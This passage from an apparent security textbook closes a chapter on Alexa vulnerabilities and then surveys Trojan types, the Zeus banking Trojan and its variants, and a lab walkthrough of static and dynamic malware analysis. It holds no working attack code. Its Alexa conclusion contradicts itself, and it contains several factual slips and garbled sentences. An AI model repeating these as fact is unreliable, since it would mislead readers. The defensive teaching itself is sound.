8.4.2.3 � Mitigation
AWS Lambda functions may be automatically tested for SQL injection vulnerabilities 
using the tool Lambda-Proxy. This instrument can assist in identifying and reducing 
security issues related to Lambda functions. Another tool that can be used to audit 
Lambda functions and look for potential weaknesses is LambdaGuard. Developers 
may improve their understanding of their functions and make sure they are con-
figured properly to counteract potential security risks by utilizing LambdaGuard. 
Businesses can reduce the risk of security breaches and other similar occurrences 
involving sensitive information by using these technologies to improve the security 
of Lambda-dependent applications.

8.5 � CONSEQUENCES OF SECURITY VULNERABILITIES 
IN ALEXA-ENABLED DEVICES

The presence of Alexa has greatly influenced many aspects of people’s lives, but it 
has also been affected by several vulnerabilities, which are growing rapidly:

DOS: A denial-of-service attack on Alexa can cause the system to crash and 
become unresponsive, preventing legitimate access. This can lead to frus-
tration and loss of trust among users, potentially causing damage to the 
service’s reputation.

Code Execution: This flaw enables an attacker to take over an Alexa device, 
potentially obtain confidential data, or use it maliciously. This may com-
promise the security of the entire network and result in major privacy and 
security breaches.

FIGURE 8.14  Non-compliant code found in CVE-2022-25809.
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SQL Injection: To get illegal data from the application database, including the 
admin account, the hacker used a method utilizing voice commands and 
SQL injection. Despite being performed on an Alexa device, the assault 
may be carried out on any voice-activated digital assistant. As a result, users 
of virtual assistants might be susceptible to similar attacks in the future.

XSS: This type of attack entails the introduction of malicious code, frequently 
in the form of a script, into the website. As a result, the code runs on the 
user’s device when they browse the page. In the case of Alexa, this might 
give a hacker access to sensitive data, like user names and passwords, and 
possibly take over the device. As an illustration, they could make a phony 
login page that appears exactly like the legitimate one, fool users into enter-
ing their credentials, and then steal those credentials.

Buffer Overflow: These flaws are difficult to spot and stop, and they are fre-
quently exploited remotely. They enable an attacker to run malicious code 
on the target device, giving them access to confidential data and command 
over the target. It can also be used to access linked devices and the network. 
Utilizing secure coding techniques, input validation, and security tools like 
stack canaries, Address Space Layout Randomization (ASLR), and Data 
Execution Prevention (DEP) will help to protect the systems.

Memory Corruption: In the case of Alexa, memory corruption flaws might pos-
sibly provide hackers access to user information or account credentials. An 
attacker may be able to gain control of the device and use it to carry out 
unlawful tasks including listening in on conversations, placing orders, or 
gaining access to other networked devices if they are successful in exploit-
ing a memory corruption vulnerability.

To address these security risks, it is essential to adopt secure coding methodologies, 
verify and sanitize input data, establish content security policies, and utilize browser-
based XSS protection measures. Auditing and monitoring tools like LambdaGuard 
can also provide visibility into functions and configurations to identify potential 
vulnerabilities.

8.6 � ANALYSIS

The examination of the Alexa platform found a number of security flaws that could 
have a substantial impact on user security and privacy. The Common Vulnerabilities 
and Exposures (CVEs) and National Vulnerabilities Database (NVD) ratings were 
examined from 2017 to 2022 in order to better comprehend the design of these vul-
nerabilities. To determine the change and trend, severity, and CVSS base metrics for 
23 CVEs that occurred during a five-year period. The findings demonstrated that the 
vulnerability that allowed attackers to penetrate or manipulate the device most fre-
quently was code execution. Additionally, it was noted that from 2017 to 2021, the 
number of vulnerabilities increased, and from 2021 to 2022, it somewhat dropped. 
Additionally, the proportion of occurrences with a high severity fell over time.

The findings of this study can help information security professionals prevent and 
lessen the effects of vulnerabilities as well as guide the creation of security measures. 
The analysis found that non-multifactor authentication, unencrypted communication, 



Privacy Implications Surrounding Alexa and Voice Assistants� 165

and weak passwords could all make it possible for malevolent actors to access user 
accounts and data without authorization. It was found that third-party skills on the 
Alexa platform posed a security risk to users, with the potential to lead to data theft, 
device attacks, or control over the user’s Alexa device.

Attackers were able to take advantage of these flaws to access user accounts with-
out authorization, install malicious software on users’ devices, and alter account set-
tings without permission. These attacks highlight the necessity for continued security 
testing and development as well as the possible effects of these vulnerabilities on 
user privacy and security.

8.7 � CONCLUSION

The study and evaluation of the impact of Amazon’s Alexa voice-based assistant vul-
nerabilities demonstrate the critical necessity for a preventative and security-focused 
strategy for voice assistants. A number of issues were discovered throughout the 
research, including cross-site scripting, remote code execution, and cross-site request 
forgery. These vulnerabilities could be used by unauthorized parties to gain access 
to user data and devices. The validity of these issues was highlighted via proof-of-
concept assaults, which also highlighted the possible consequences for user privacy 
and safety.

It is advised that Amazon along with other voice assistant producers utilize secure 
coding techniques, carry out frequent vulnerability analyses and penetration tests, 
and give users explicit instructions on how to protect their devices. Furthermore, 
users need to implement suitable precautions, such as creating robust passwords, 
activating two-factor authentication, and minimizing the utilization of third-party 
apps, to enhance the security of their devices.

The research underscores the significance of securing voice assistants and the 
need for ongoing studies to recognize and mitigate potential vulnerabilities. As voice 
assistants become more integral to everyone’s daily lives, it is critical that one take 
measures to ensure security and safeguard user privacy and security. The increasing 
use of Alexa-enabled speakers and other voice-controlled devices has heightened 
awareness of various privacy concerns. It appears that there are potential vulnerabili-
ties in the design, but overall, it is considered secure with no significant security 
issues. The functionality of Alexa Skills was found to be well-designed and not easily 
susceptible to privacy threats. However, third-party devices that use the Alexa Voice 
Service API may be poorly constructed and at risk of security concerns. Additionally, 
it is likely that more advanced attacks on the firmware of the Echo will emerge in the 
future. This summary focuses on possible ways that the Alexa ecosystem could be 
attacked. Given the growing popularity of voice recognition technology, it is expected 
that more complex security issues will arise in the future.
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9.1 � INTRODUCTION: MALWARE

Malware stands for malicious software and can be referred to as an umbrella term for 
any code or software that is malicious in nature [1], and it is growing exponentially. In 
2022, malware attacks crossed 2.8 billion [2]. According to Sonic Wall’s 2022 Cyber 
Threat Report, malware attacks happening in a year are around 10.4 million [3]. For 
the first time since the year 2015, attacks done by criminals decreased in 2020 [3], 
then they started increasing exponentially. The most hazardous malware are ransom-
ware, spyware, Trojans, and worms [3]. It evolves by changing or modifying its code, 
which needs deeper analysis to make individuals and organizations safe and secure. 
There are different techniques – polymorphism, oligomorphism, and metamorphism 
(obfuscation) – which are used by cybercriminals to make code or malware more 
secure to not get detected by security features like antivirus, antimalware, intrusion 
detection systems (IDS), and intrusion prevention systems (IPS). A Trojan horse can 
be called any code or program that looks like legitimate software but acts malicious 
when it executes any files on the host machine. The name “Trojan horse” came from 
the war that had taken place between the city of Troy and the Greeks. In the war, the 
Greeks took advantage of using wooden horses to hide so that they could easily pass 
and reach the city of Troy. It seems to be legitimate or useful but at the back, which 
can’t be visible to a target, the destructive function is carried out. It cannot be repli-
cated like a worm and relies on the host machine to activate it and affects systems in 
different ways using the attached payload and spreads using social engineering tech-
niques like email with attachments, messaging applications like Messenger, Viber, or 
Telegram, pop-up screens, or downloading free software available online [4]. It can 
take the form of any application, game, or MP4 [5]. It is made to gain remote access 
to the system, capture screenshots and keystrokes, or steal sensitive information. It 
can delete, modify, copy, or block the data present on the system.

9.2 � TYPES OF TROJAN HORSE

Backdoor Trojan: It is the most dangerous type of Trojan as it gives remote 
access to attackers through which attackers can perform several functions 
like spying, deleting files, rebooting the system, capturing keystrokes, and 
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many more. Usually, it is seen that botnets are created in this Trojan; a sys-
tem can be a part of a botnet or can be a victim of any bot system or zombie 
system. The identity is hidden, which makes it more dangerous as compared 
to other Trojans.

Banker Trojan: It is the most prominent one among attackers as well as peo-
ple. The attacker tries to gain the financial information of the victims by 
sending them malicious links or phishing sites. They try to steal credit card 
and debit card information, usernames, and passwords using different meth-
ods by keeping eyes on keyloggers or by spying.

Downloader/Dropper Trojan: It is a type of Trojan that targets an already 
infected system and downloads another piece of malware or any malicious 
code usually adware using the internet or network resources present in a 
system. The famous Emotet Trojan was used to download Trickbot (Trojan) 
and Ryuk (ransomware) [6]. While in a dropper, there is no need for a net-
work because it contains the malicious package so that it can drop directly. 
And both try to evade the security features like an antivirus and firewall 
present in a system.

Fake-Antivirus Trojan: It is a Trojan that tries to stimulate the behavior of 
legitimate antivirus, by tricking users to download and use it by paying 
money, which gives attackers a chance to get down into the system. It would 
create malicious codes or download them from the internet instead of saving 
the system from malicious software.

Game-thief Trojan: It is a type of Trojan that targets gamers who play online 
games or are addicted to online games. It tries to get user account informa-
tion and send it back to the attackers using email, File Transfer Protocol 
(FTP), and Hypertext Transfer Protocol (HTTP) [7].

Distributed Denial of Service [DDoS] Trojan: It tries to connect as many sys-
tems as possible to make them zombies or bots. Then, using these zombies 
and botnets, it attacks the targeted system, which would make the service or 
website down for a few minutes or days. It would make traffic unstable by 
sending numerous unwanted packets until it shut down. This type of attack 
has taken place in the year 2020 in Amazon [8].

Instant Messaging Trojan [IM]: It is a type of Trojan that targets messaging 
platforms like AOL Instant Messenger, ICQ, MSN Messenger, Skype, and 
Yahoo Pager [9]. These are all the traditional forms of messaging appli-
cations, but modern messaging applications like WhatsApp, Facebook, 
Instagram, Telegram, or Signal are also on the radar of Instant messaging 
Trojans. Skygofree is the best example that came in 2018 and can connect 
to wireless networks even when users deactivate that particular function.

Mail Finder Trojan: It is a type of Trojan that harvests and steals all the email 
addresses that are stored on the system and sells all mail to spam companies 
or sends a bulk number of emails containing malware to the victim’s contacts.

9.3 � WORKING OF TROJAN

The method of infection can vary, but commonly a user is tricked into download-
ing and installing the malware. This can be done by disguising the malware as a 
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legitimate program or file, such as a game or a software update. It can come into 
contact with the victims in different forms, starting with small email attachments, 
social engineering attacks like phishing emails, websites that seem to be legitimate, 
pop-up advertisements, and free software. The next method is drive-by download, 
which cybercriminals use to inject malicious codes into a genuine website or try to 
infiltrate the real ones and make it a malware distributor, a dangerous functionality 
key logger that takes down or monitors all the keys pressed by the user. One more 
technique that is mostly used is by attaching the Trojan in the extensions by exploit-
ing the nature of Integrated Development Environments [IDEs]. In Figure 9.1, the 
user clicks on any method performed by the attacker, which leads to the installation 
of a malicious file in the system and causes different operations based on the type 
of Trojan. The malware may also be delivered through USB drives. Once the Trojan 
horse is installed on the system, it can perform a variety of actions depending on its 
programming. Some examples are as follows:

	•	 Sensitive information can be taken such as login credentials, financial data, 
or personal information.

	•	 Installing additional malware or malware updates.
	•	 Opening a back door to the system, allowing attackers to gain remote access 

and control the infected computer.
	•	 Using the infected computer as a part of a botnet for a DDoS attack.
	•	 Monitoring the user’s activity and reporting it to the attacker.

It is important to note that Trojan horses are difficult to detect and remove from the 
system, as they often mask their activities and appear as legitimate programs. To 
protect systems from this malware, up-to-date antivirus software should be there, and 
user needs to be cautious about clicking on links or downloading files from untrusted 
sources to help protect against Trojan horse infections.

9.4 � POPULAR TROJAN ATTACKS

GozNym: It is a Trojan that made its impact in the year 2016, by spreading into 
Europe and targeting bank customers in Poland and moving toward banks 
located in Germany and the United States [10]. The Trojan is a combination 
of Ursnif and Nymaim [11], which makes it more vulnerable as it can gain 
more sensitive information by bypassing the antivirus security mechanism. 
The distribution was carried out by phishing emails; most of the emails 
contained fake invoices of Bank of America [12], which seemed to be legiti-
mate, and the victim or the user used to open the invoice and download it. 
After downloading, it would perform the function of a keystroke logger 
to capture usernames, passwords, and PINs and inject fake banking login 
web pages in the browser to prompt the user side and trick them into input-
ting their credentials. The main target was to steal money from banks and 
their customers, e-commerce sites, and other business accounts. The inves-
tigation was done starting from Bulgaria, Georgia, Moldova, and Ukraine 
and then prosecution was carried out from Georgia, Moldova, Ukraine, and 
the United States [13]. According to Europol, around ten members were 
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FIGURE 9.1  Working of Trojan horse.
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charged, and they were from different countries for infecting common peo-
ple, stealing their banking credentials, getting money, and laundering those 
funds using US and foreign beneficiary bank accounts [10].

Emotet Trojan: It stands to be the most dangerous malware attack that has 
taken place in history, detected in 2014 known as Geode and Mummy 
Spider. It affected many banks including German and Austrian. It evolved 
from a Trojan to another type of malware, a dropper that downloads addi-
tional malware into the infected system. Trickbot was a banking Trojan that 
was used to gain access to login details like usernames and passwords of 
bank sessions, while Ryuk was a ransomware that was used to encrypt data 
and make users unable to operate their systems. After four years, it had 
evolved itself and infected Fuerstenfeldbruck Hospital present in Germany, 
which caused around 450 computers to shut down and log off to control the 
infection. Next in 2019, it went down to the Berlin Court of Appeals and the 
University of Giessen. There is an endless list of institutions and organiza-
tions that got infected by the Emotet Trojan [6].

Trickbot: It came in the year 2016 and made companies secure their network 
as it was prevalent in the home office network more than a corporate net-
work, which makes it more menacing as users in a home network can be 
careless which would be an advantage for the malware. It spread through 
mostly email campaigns consisting of infected attachments and embedded 
Uniform Resource Locators (URLs). The functions of Trickbot are cre-
dential theft, installing a backdoor by getting remote access, downloading 
another malicious file, and modifying itself every instance to avoid detection 
from security mechanisms present in the network. Creation of a backdoor 
in PowerShell can be done, which is the most used scripting language by 
malware authors. The evolution of the trick bot can target the kernel level, 
which is capable of inspecting the Unified Extensible Firmware Interface 
(UEFI) and the basic input and output system (BIOS). By gaining all these, 
malware authors can read, write, or delete data. The target was the health-
care and public health sectors; it was surprising to know that in November 
2020 around 40,000 devices were compromised [14].

GM Bot: It is the popular mobile banking and overlay Trojan, which makes 
a fake window screen to impose on the top of the legitimate application 
to gain sensitive information. There are a number of features present in 
this malware such as overlay, gaining credit card, personally identifiable 
information (PII), spyware to access transaction authorization codes sent 
via short message service (SMS), viewing device information, intercept-
ing, forwarding or initiating phone calls, or locking the device’s screen. 
The overlay would work only when it can identify which application was 
opened by the user and which application is running in the foreground and 
then it can launch the fake application on top of the live application in such 
a way that it would superimpose on it. The malware came in October 2014 
and it was leaked in 2016. The GM Bot kit is US$5,000 to US$ 15,000 [15].
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9.5 � ZEUS TROJAN

It is malware that targets Microsoft Windows and is mostly used to steal financial 
information like credentials from banking sites, also known as Zbot and Crimeware 
[16], and it has the capability of turning systems into bots and spreading itself to other 
systems. Later, it was found in other operating systems like Symbian, Blackberry, 
and other Android devices. It was first detected in 2007 [17, 18] and gained popular-
ity all over the world for its functionality of creating botnets and stealing credentials. 
First, it targeted the United States Department of Transformation. Its origin has not 
been confirmed till now, but some law enforcement agencies claimed it was cre-
ated in Eastern Europe [18]. The code was released publicly in March 2011 [17, 19] 
by the malware author named Slavic [20] and then it spread quickly. The target of 
the malware was big organizations and government bodies like Amazon, Bank of 
America, NASA, monster.com, ABC, Oracle, Play.com, Cisco, and BusinessWeek 
[18, 21]. There was an investigation in Europe conducted by the FBI; US$70 mil-
lion was stolen using the Zeus Trojan, and around 100 people were arrested [22]. 
Indicators of Compromise (IOC) are mentioned in Table 9.1.

9.6 � VARIANTS OF ZEUS

There are different variants of Zeus present in the world, which differ in their func-
tionality, mostly motive is to target the financial information of all the variants.

GameOverZeus: All the functionalities are similar to the original code of 
Zeus. Still, they have two additional functions such as encrypting all the 
data communication to hide from detection by security agencies and drop-
ping a CryptoLocker Ransomware, which is used to search different types 
of file extensions present in a system and encrypt all that data. It searches 
almost 150 types of file extensions in the victim’s system. After paying the 
ransom, the private key is given to the victim to unencrypt all the files. In 
this variant, there is no centralized Command and Control Server (C&C).

SpyEye: According to Trend Micro, around US$3.2 [23] million was stolen 
from US citizens using this variant. It targets Microsoft Windows and Apple 
iOS Safari. The functions include keyloggers, email backups, config files, 
HTTP access, POP3 grabbers, and FTP grabber and are even used to allow 

TABLE 9.1
Indicators of Compromise for Zeus Trojan [18]

Degradation in the speed of the operating system
Lagging while doing tasks
Unusual transactions in the bank accounts
Unknown programs or applications getting downloaded in the system
Running unusual programs in the background
Consumption of CPU power
Heating of System (especially hardware) – a major red flag
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malware authors to steal money while the user is logged into the banking 
session [24].

Ice IX: It is a variant that is made partially by the code of original Zeus 
Malware. It is called a third-generation botnet as it communicates using 
HTTP. The threat that is possessed is the changes in the banking sessions of 
the compromised machines, which can launch botnet-driven attacks [25].

Carberp: It is also designed to steal bank details like usernames, passwords, 
and authentication tokens. It was maintained by a C2 server and in later 
versions, a plugin was added to disable antivirus software for the smooth 
installation of malware and its further functions [26].

Citadel: The variant came in 2011 and infected around 11 million systems, 
causing huge damage to the financial market [27]. The Russian hacker 
named Mark Vartanyan who developed the code was sentenced to five years 
by a U.S. District Court judge in Atlanta [28]. It is claimed that it was sold in 
cybercrime markets. It creates a botnet that can infect multiple devices and 
creates an IoT botnet to take control of a high-processor system. The target 
was password manager devices such as Password Safe and Keepass [27], 
which are dangerous as they can gain all the passwords stored in the par-
ticular application, including banking details. As it is a man-in-the-browser 
methodology, it can gain lots of information by making infected pages more 
realistic to make users trust the page and give their sensitive information. It 
can add a PIN on the infected web page. There are multiple individuals as 
well as organizations who were targeted by this malware-NCB website that 
got corrupted in the year 2013; the next year it infected a few petrochemi-
cal companies in the Middle East as well [27]. The code developed more 
variants like Atmos, Panda Banker, Sphinx, Floki Bot, Neutrino, and many 
more [21] (Figure 9.2).

FIGURE 9.2  Different variants of Trojan horse.
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9.7 � HOW ZEUS AFFECTS SYSTEMS

It is a type of malware that is typically used to steal personal and financial informa-
tion from infected computers. It is a botnet that tries to steal credentials online by 
capturing keystrokes and screenshots, injecting HTML into web pages, and exploit-
ing vulnerabilities present in a browser [29]. The server sends a file that consists of 
lists of actions to be performed on the victim’s machines to the bot so that it can do 
all the activities according to the file.

It can affect a system in several ways:

	•	 Keylogging: It is able to record keystrokes, allowing it to capture confi-
dential data such as passwords, credit card numbers, and other personal 
information.

	•	 Network connections: A botnet allows the attacker to control and exploit 
infected systems for further attacks.

	•	 File encryption: In some cases, Zeus malware can act as ransomware, which 
would encrypt files on the infected system and demand a ransom payment 
to restore access to the files.

	•	 Data theft: The malicious software is also capable of pilfering critical details 
like login passwords and financial specifics.

	•	 Slowing down of system: It can consume system resources, which would 
result in slowing down of the system.

	•	 Remote access: The malware can open a backdoor on the infected system, 
allowing the attacker to gain remote access and control over the system.

This chapter concludes that Zeus is a piece of malware that can cause significant 
damage to an infected system and steal sensitive personal and financial information.

9.8 � MALWARE ANALYSIS

Malware analysis is a process of examining malware in a separate environment to 
discover its type, actions, and prevention steps. The analysis is separated into two 
parts: static and dynamic analysis.

This paragraph explains the configuration of a malware analysis laboratory using 
Oracle VM VirtualBox 7.0.4. Two operating systems, Windows 10 and Remnux ver-
sion 5.4.0-122-generic, have been set up for analysis purposes since Windows 10 is 
a widely used OS. The malware sample was obtained from “the Zoo,” a GitHub 
repository that serves both educational and malicious purposes. Before starting the 
analysis in the laboratory, a malware report was produced using the Anyrun sandbox 
environment. Anyrun provides both free and paid services. The sample was uploaded 
onto a Windows 7 operating system and a report was then generated. The report fea-
tures various indicators, as depicted in Figures 9.3–9.8. Figure 9.3 displays an error 
message that pops up, indicating the need to download Adobe Flash Player. Figure 
9.4 showcases the downloading of another executable file. Figure 9.5 presents infor-
mation about a domain name server (DNS), which can either be host-based or 
network-based. Additionally, Figure 9.6 shows the IP address is verified and found to 
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be linked to a German organization that has been whitelisted. Figure 9.7 displays all 
the harmful actions that take place after the execution of malware. Finally, Figure 9.8 
offers a flowchart illustration of the execution of Zeus malware within the system. 
The process begins with the drop of another executable, followed by the injection of 
system processes and the execution of malicious activities.

FIGURE 9.3  Popup error after executing malware.

FIGURE 9.4  Connections made by Zeus.

FIGURE 9.5  DNS requests made by Zeus.

FIGURE 9.6  Tracing of IP address using whatismyipaddress.com.
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Static analysis is performed without executing malware, using automated tools to 
check properties such as hash values, strings, timestamps, packing, imports, libraries, 
and dynamic-link libraries (DLLs). In advanced static analysis, the malware is 
uploaded to a disassembler, which converts machine language to assembly language, 
allowing for the study of the malware’s instructions in assembly code. Tools such as 
Cutter, Ghidra, Hiew, and Binary Ninja can be used to study the assembly code:

	•	 Hashing is a mathematical function used to generate a fixed-sized string 
of characters from an input. It is often used to verify data integrity as any 
changes to the input will create a different hash output. Hashing algo-
rithms are widely used in cryptography, digital signatures, and password 
storage to secure sensitive information. The output hash is often used as a 
compact digital “fingerprint” to identify the contents of a file, message, or 
data structure. Popular hashing algorithms include SHA-256 (Secure Hash 
Algorithm 256-bit), SHA-3 (Keccak), MD5 (Message-Digest algorithm 5), 
and BLAKE2. There are several tools to calculate hash values:

	•	 Command Line Utilities: Many operating systems include built-in com-
mand line utilities to calculate hash values. For example, on Windows, you 
can use the “certutil” tool, and on Linux/Unix systems, you can use the 
“sha256sum” or “md5sum” commands.

FIGURE 9.7  Process flow of Zeus.
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FIGURE 9.8  Flow diagram of Zeus.
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	•	 Online Hash Calculators: Many websites offer free online hash calcula-
tors for a variety of algorithms, such as MD5, SHA-256, and SHA-1.

	•	 File Verification Software: Some file verification software, such as 
“WinMD5Free” or “HashTab,” offer a graphical user interface for calculat-
ing hash values and comparing them to verify file integrity.

	•	 Programming Libraries: Libraries in various programming languages 
can be used to calculate hash values. For example, in Python, the “hashlib” 
library, and Java, the “java.security.MessageDigest” class. Figure 9.9 shows 
three different types of cryptographic algorithm, which uniquely identify 
the malware. Md5 is a message-digest algorithm that is commonly used in 
malware analysis. SHA-256 and SHA-512 are the secure hash algorithms.

	•	 Virus Total: It is a website, online platform, or repository that can be used 
to verify the authenticity of a file, get information about a file, and more. 
While malware authors or students can download malware for research 
purposes, it requires a paid subscription and an API key to access infor-
mation from VirusTotal. In Figure 9.10, the report is generated using the 

FIGURE 9.9  The hash value of the sample (MD5, SHA-256, SHA-512).

FIGURE 9.10  VirusTotal report.
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open-source VirusTotal website and 63 engines detected the Trojan, show-
ing its potential danger.

	•	 PEiD, or Program Entry Identifier, is a tool used to determine if malware is 
packed. It can detect common packers, cryptors, and compilers for Portable 
Executable (PE) files, such as UPX, ASPack, and Petite, using 470 different 
signatures in PE files. PEiD can be downloaded from various websites as the 
source is no longer available. It helps locate the original entry point (OEP) 
of a packed executable, which is the first instruction before the malware is 
packed. Finding the OEP makes the process of unpacking easier. Knowing 
the compiler or packer that created the malware also aids in determining its 
potential impact and in the unpacking process. Figure 9.11 displays whether 
a file may be packed or not and further analysis is required to determine if 
the malware is packed [30, 31].

	•	 Dependency Walker: It is a free tool used to identify the DLLs in a mal-
ware executable file. It supports both 32-bit and 64-bit architectures and 
can scan various file types such as .exe, .dll, .ocx, and .sys. A structured 
tree-like structure is designed for each module, assisting those creating mal-
ware to better comprehend particular imports or modules. When it comes to 
troubleshooting system errors regarding the loading and executing of mali-
cious software, Dependency Walker proves valuable. This tool allows one 
to examine the import and export operations within a Portable Executable 
(PE) file that can reveal if harmful or suspect DLLs are being called upon 
by such files. Furthermore, obsolete or missing DLLs – commonly leading 
causes of abnormal function in PE files – can be identified using this service 
as well. Dependency Walker further broadens its usefulness with an array of 
features specific to the analysis of malignant software like tracing API calls 
actively and monitoring overall machine performance while recognizing 
dependency cycles simultaneously. It’s considered integral among tools uti-
lized by professionals analyzing malevolent programs due to their ability to 
provide key insights into respective dependencies and behaviors observed 
from potentially harmful documents/files at hand. By breaking down func-
tions used frequently alongside suspicious DLL’s similar renowned plat-
forms; thereby analysts might have greater success unpacking said item 
whilst assessing goal/harm potential efficiently. In Figure 9.12, the module 

FIGURE 9.11  PEiD output.
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named “SHLWAPI.DLL” can be seen as associated with the process “zeus.
exe.” The tree structure provides insight into which DLLs are running from 
which ones. The functions of the selected DLL can be viewed in the right 
tab [31, 32].

	•	 PEstudio is a tool used in malware analysis for analyzing Portable Executable 
(PE) files, including Windows executables, DLLs, and drivers. PEstudio, a 
versatile tool, enables comprehension of PE files by offering comprehensive 
insights into headers, imports, and more. It has the capability to determine 
the origin compiler or packer used for creating such files besides facilitat-
ing resource analysis like bitmaps. Additionally, it recognizes obfuscated 
or packed code frequently utilized for hiding malicious content by cyber 
miscreants. Beyond its basic capabilities, however, are features that enable 
extensive scrutiny of a PE file’s structure – potential malware detection plus 
a comparison between two distinct PE Files being among them; this helps 
identify disparities. The pivotal role that PEstudio plays in assisting mal-
ware analysts is widely acknowledged because it empowers an exhaustive 
understanding of any malignant source’s framework as well as functional-
ity on examining characteristics and properties thoroughly, which assists in 
better reverse engineering efforts aimed at comprehending objectives while 
conjecturing possible impacts. Figures 9.13–9.16 depict the output from 
the PEstudio tool. Figure 9.13 displays various hashing algorithms, such 
as MD5, SHA-1, and SHA-265, the first bytes indicating an executable file 
with “MZ,” the 32-bit architecture, and the use of the tooling Visual Studio, 
as well as the compiler stamp, which reveals when the malware was packed. 
Figure 9.14 shows the libraries present, which include three DLLs: shlwapi.
dll, kernel32.dll, and user32.dll, and provides descriptions of each DLL. 
The shlwapi.dll performs critical Windows functions such as URL paths and 
registry settings. The kernel32.dll contains functions related to the kernel of 
the system and is a central part of the system that malware authors often 
use to access and manipulate memory, files, and hardware components. 
The user32.dll provides access to user components, including keystrokes 

FIGURE 9.12  Output of dependency walker.
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and buttons. Figure 9.15 displays the imports, marked in red as potential 
security threats. Based on the imports, it appears the malware is attempting 
to manipulate memory and access information typed into the clipboard or 
saved as screenshots. Figure 9.16 displays various values, including refer-
ences to keyboard inputs, such as “Show Caret” and “Hide Caret.” There is 
also a URL mentioned, “correct.com,” which could be further analyzed.

	•	 PEview is a tool used in malware analysis for examining Portable Executable 
(PE) files, which are the executables used in Windows operating systems. 
This utility offers an in-depth look at a PE file, encompassing aspects such 
as its header, imports, and exports, and resources among others. The usage 
of PEview extends to discovering the compiler or packer involved in cre-
ating the PE file while also pulling out and scrutinizing assets like icons, 
bitmaps, or strings. It possesses detection capabilities for obfuscated codes 
that are often used by malware authors to hide detrimental code from users’ 
eyesight added with primary functions allowing penetration into structure 

FIGURE 9.13  Showing the property and values of zeus.exe.

FIGURE 9.14  Showing libraries accessed by zeus.exe.
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insights alongside potential identification of preexisting malicious content 
within two different PE files revealing notable differences when compared 
side by side thus making it instrumental during analysis – especially for 
those who deal primarily with combating harmful software since under-
standing characteristics and properties related specifically toward a singular 
piece (PE File) adds complexity layers upon reverse engineering resulting 
impact predictions more accurate due mainly because key information can 
be easily obtained. It is a tool that can give an overview of the malware – 
strings, resources, imports, libraries, directories, header-rich, file, optional, 
Compiler timestamp, and many more to lay out a static analysis of mal-
ware. Figure 9.17 displays the IMAGE_NT_HEADERS section, with the 
IMAGE_FILE_HEADER subsection showing the timestamp of the mal-
ware. Figure 9.18 shows the imports and DLLs present in the malware and 
highlights that each of the three DLLs has specific functions.

FIGURE 9.15  Showing imports.

FIGURE 9.16  Showing suspicious strings.
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	•	 Advance Static Analysis: It involves analyzing code without executing mal-
ware. The process starts with uploading the sample into a disassembler, which 
breaks down the binary file into smaller parts for easier understanding. The dis-
assembler software converts machine language into assembly language, and 
popular disassemblers include IDA, Cutter, Hiew, Binary Ninja, and Ghidra 
for studying assembly language. A cutter is a tool utilized for malware analy-
sis, offering features such as docker support and a graphical user interface. 
It is a graphical version of the widely recognized reverse engineering frame-
work, radare2. It supports all platforms, including Linux, Microsoft Windows, 
and macOS. The analysis is performed using the Cutter tool and provides 
information such as hash values, libraries, and architecture type, as illustrated 
in Figure 9.19 [33]. Figure 9.20 depicts the use of the “IsBadReadPtr” func-
tion by the kernel32.dll. This indicates that the calling process can read the 
contents of a specified range of memory, which is deemed dangerous as it can 
access all information present in that memory [34].

FIGURE 9.17  Showing image file header.

FIGURE 9.18  Showing hints and DLL names.
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FIGURE 9.19  Result of cutter tool.

FIGURE 9.20  Showing KERNEL32.dll imports.
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	•	 Dynamic Analysis: After the static analysis, the dynamic analysis is per-
formed by running the executable in an isolated environment to prevent net-
work infections and avoid infecting the host machine. The process of behavior 
analysis involves running the executable in a virtual machine or simulator to 
gather information. Based on the output, dynamic analysis can be divided 
into two parts: host-based and network-based indicators. This helps to deter-
mine the functions of the malware. It can be a time-consuming and resource-
intensive process, but it is more effective than static analysis [35].

	•	 Host-Based indicators reveal information about a system’s infection status 
by examining data such as registries, processes, file signatures, and other 
system information. Tools like Process Monitor, Regshot, Process Hacker, 
FakeNet, and Autoruns can be utilized to identify host-based indicators.

	•	 Procmon: A process monitor is a sophisticated tool for Windows that inte-
grates the features of two Sysinternals utilities, FileMon and Regmon. It 
observes the activity of processes, file systems, networks, registries, and 
threads, and displays information about specific events such as the event 
sequence number, time stamp, the process name responsible for the event, 
the path involved, and the operation performed. Four key indicators can be 
observed in a system: file systems, network connections, registry entries, 
and processes/threads. Advanced filtering options are available to improve 
the results, such as filtering by process name, ID, or specific actions like file 
creation. Figure 9.21 shows that the filter is set by process name, and the 
resulting output displays all actions taken by that process. In this case, the 
process created a new executable file named “InstallFlashPlayer.exe” which 
was downloaded to the “C:\Users\Username\AppData\Local\Temp” path. 
Figure 9.22 shows that three files were downloaded at the same time, includ-
ing “InstallFlashPlayer.exe,” “ACA0.tmp,” and “msimg32.dll.” Figure 9.23 
shows the process tree of the Zeus process.

	•	 Process Explorer: This tool presents all the running processes on a sys-
tem in a tree-like hierarchy and shows the relationships between processes, 
including information about loaded DLLs, attributes, and other details. 

FIGURE 9.21  Showing the creation of file by Zeus.
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Cybersecurity experts frequently use this tool to check the authenticity 
of programs and eliminate abnormal processes. There is a “verify” option 
available, which can be used to check if the process is genuine using 
Microsoft’s digital signatures for most executables. However, it only checks 
the image on disk and not in memory, making it harder to detect if mal-
ware has replaced the process by overwriting memory with malicious code. 
String comparisons are also possible. As shown in Figure 9.24, the Zeus.
exe process is active. In the subsequent Figure 9.25, two more executables, 
InstallFlashPlayer.exe and dllhost.exe, are also running after the execution 
of the Zeus sample, suggesting that these two processes are related to Zeus.

FIGURE 9.22  Showing executables downloaded in the given path.

FIGURE 9.23  Showing the hierarchy structure of zeus.exe.
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	•	 Regshot: It is an open-source tool used for comparing the registry by tak-
ing two snapshots, one before and one after running an executable, and 
then using the “compare” option to compare the two snapshots. Figure 9.26 
displays a comparison of two screenshots taken before and after the mal-
ware was executed, revealing modifications made by the malware. The total 
number of changes is 12, with one key being added and one value added. 
Figures 9.27 and 9.28 display the location where the key and value were 
added, which can be verified in the Registry Editor given in Figure 9.29.

	•	 Network-Based Indicators: An indicator refers to information that pro-
vides insight into the network connections, port numbers, unusual traffic 
patterns, unexpected incoming and outgoing network activity, geographic 
anomalies (traffic from uncommon locations), and domain names. To get 
network-based indicators, malware needs to communicate with the com-
mand and control server (C2 server) and while doing malware analysis fake 

FIGURE 9.24  Showing output of process explorer.

FIGURE 9.25  Showing installation of additional .exe in process explorer.
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FIGURE 9.26  Showing the comparison using Regshot.

FIGURE 9.27  Showing the output of keys added.

FIGURE 9.28  Showing the output of values added.

FIGURE 9.29  Showing newly added key in registry editor.
